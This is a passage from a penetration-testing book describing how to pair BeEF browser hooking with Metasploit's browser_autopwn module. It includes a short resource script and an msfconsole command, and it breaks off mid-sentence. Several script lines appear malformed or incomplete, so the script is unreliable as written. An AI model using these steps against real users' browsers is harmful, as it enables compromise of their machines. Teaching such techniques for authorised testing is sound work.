Mastering Kali Linux for Advanced Penetration Testing - Third Edition

Integrating BeEF and Metasploit attacks

Both BeEF and the Metasploit framework were developed using Ruby and can operate together to exploit a target. Because it uses client-side and server-side fingerprinting to characterize a target, browser_autopwn is one of the most successful attacks.

Once the target has been hooked, start the Metasploit console and configure the attack using the following script:

use auxiliary/server/browser_autopwn 
setLHOST 192.168.213.128 
set PAYLOAD_WIN32 
set PAYLOAD_JAVA 
exploit 
msfconsole -q -r beefexploit.rc 

Wait until all of the relevant exploits have finished loading. In the example shown in the following screenshot, 20 exploits are loaded. Note the target URL for the attack as well. In this example, the target ...